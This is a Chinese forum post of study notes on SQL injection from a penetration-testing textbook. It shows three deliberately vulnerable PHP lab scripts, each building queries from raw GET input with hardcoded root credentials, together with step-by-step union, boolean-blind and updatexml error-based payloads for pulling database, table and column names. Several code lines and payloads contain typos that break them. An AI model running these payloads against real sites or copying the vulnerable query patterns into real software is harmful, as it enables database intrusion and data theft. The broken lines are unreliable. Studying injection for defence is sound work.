|
|
楼主 |
发表于 2020-7-20 16:00:55
|
显示全部楼层
本帖最后由 oldmoon 于 2020-7-21 10:59 编辑
Web安全攻防--渗透测试实战指南
200718 4.1 SQL注入基础总结
00x1 Union注入
union.php
- <?php
- $con=mysqli_connect("localhost","root","123456","test1");
- if (mysqli_connect_errno())
- {
- echo "连接失败：" . mysqli_connect_errno();
- }
- $id = $_GET['id'];
- $result = mysqli_query($con,"select * from users where 'id'=".$id);
- $row = mysqli_fetch_array($result);
- echo $row['username'] . ":" .$row['address'];
- echo "<br>"
- ?>
- /**
- GET取得参数ID，将ID拼接到SQL查询语句中，在数据库中查询ID对应内容，将第一条查询结果中username及address输出到页面回显。
- 注入流程：
- ?id=1
- ?id=1' ?id=1" ?id=1)
- ?id=1 and 1=1%23 ?id=1 and 1=2%23 #判断注入是否存在
- ?id=1 order by 1-9999 #判断字段数
- ?id=-1 union select 1,2,3,4,5,6
- ?id=-1 union select 1,database(),3 #查询数据库名
- ?id=-1 union select table_name from information_schema.tables where table_schema='databasename' ilmit 0,1 #查询数据库中表名
- ?id=-1 union select column_name from information_sschema.columns where table_schema='databasename' and table_name='tablename' limit 0,1 #查询表中字段名
- ?id=-1 union select tablename from databasename limit 0,1 #查询数据库中对应具体数据
- **/
00x2 Boolean注入
boolean.php
- <?php
- $con=mysqli_connect("localhost","root","123456","test2");
- if (mysqli_connect_errno)
- {
- echo "连接失败" . mysqli_connect_errno();
- }
- $id = $_GET['id'];
- if (preg_match("/union|sleep|benchmark/i",$id)) #此处过滤传入参数$id中的union、sleep、benchmark语句，黑名单
- {
- exit("no");
- }
- $result = mysqli_query($con,"select * from users where 'id'=.$id."'");
- $row = mysqli_fetch_array($result);
- if ($row)
- {
- exit("yes");
- }
- else
- {
- exit("no");
- }
- ?>
- /**
- boolean种类下的注入特点是只会返回yes/no或true/false，因此我们需要构造SQL判断语句，通过查看页面的返回结果推测哪些SQL判断条件是成立的，以此获得数据库中的数据。
- 多使用穷举法，需要辅助bp进行爆破。
- 注入流程：
- ?id=1
- ?id=1' ?id=1" ?id=1)
- ?id=1 and 1=1%23 ?id=1 and 1=2%23 #通过返回的yes/no，判断注入是否存在
- #判断数据库名长度
- ?id=1' and length(database())>=1--+
- ?id=1' and length(database())>=2--+
- ?id=1' and length(database())>=4--+
- #使用逐字符判断的方式获取数据库名
- ?id=1' and substr(database(),1,1)='a'--+ #截取database()的值，从第一个字符开始每次只返回一个字符。可使用bp爆破‘t’值
- #或使用ASCII码的字符进行查询，MySQL中ASCII转换函数为ord()
- ?id=1' and ord(substr(database(),1,1))=115--+
- #同理可获取表名和字段名
- ?id=1' and substr((select table_name from information_schema.tables where table_schema='databasename' limit 0,1),1,1)='b'--+
- ?id=1' and substr((select column_name from information_schema.columns where table_schema='databasename' and table_name='tablename' limit 0,1),1,1)='c'--+
- **/
00x3 报错注入
error.php
- <?php
- $con=mysql_connect("localhost","root","123456","test3");
- if (mysqli_connect_errno())
- {
- echo "连接失败：" . mysqli_connect_error();
- }
- $username = $_GET['username'];
- if($result = mysqli_query($con,"select * from users where 'username'='".$username."'"))
- {
- echo "ok";
- }
- else
- {
- echo mysqli_error($con);
- }
- ?>
- /**
- 报错注入，在传入参数中构造SQL查询语句，使返回报错信息的同时也返回查询信息。
- 注入流程：
- ?id=1
- ?id=1' ?id=1" ?id=1)
- ?id=1 and 1=1%23 ?id=1 and 1=2%23 #判断注入是否存在
- #利用函数updatexml()获取user()值
- ?id=1' and uodatexml(1,concat(0x7e,(select user()),0x7e),1)--+ #0x7e为ASCII编码，解码结果为~，起到分隔作用，在其之间的便是user名
- #获取database()值
- ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
- #获取库名,concat()中语句与union注入时语句相同
- ?id=1' and updatexml(1,concat(ox7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
- #获取表名
- ?id=1' and updatexml(1,concat(ox7e,(select table_name from information_schema.tables where table_schema='databasename' limit 0,1),0x7e),1)--+
- #获取字段名
- ?id=1' and updatexml(1,concat(ox7e,(select column_name from information_schema.columns where table_schema='databasename' and table_name='tablename' limit 0,1),0x7e),1)--+
- ......
- **/
|
|
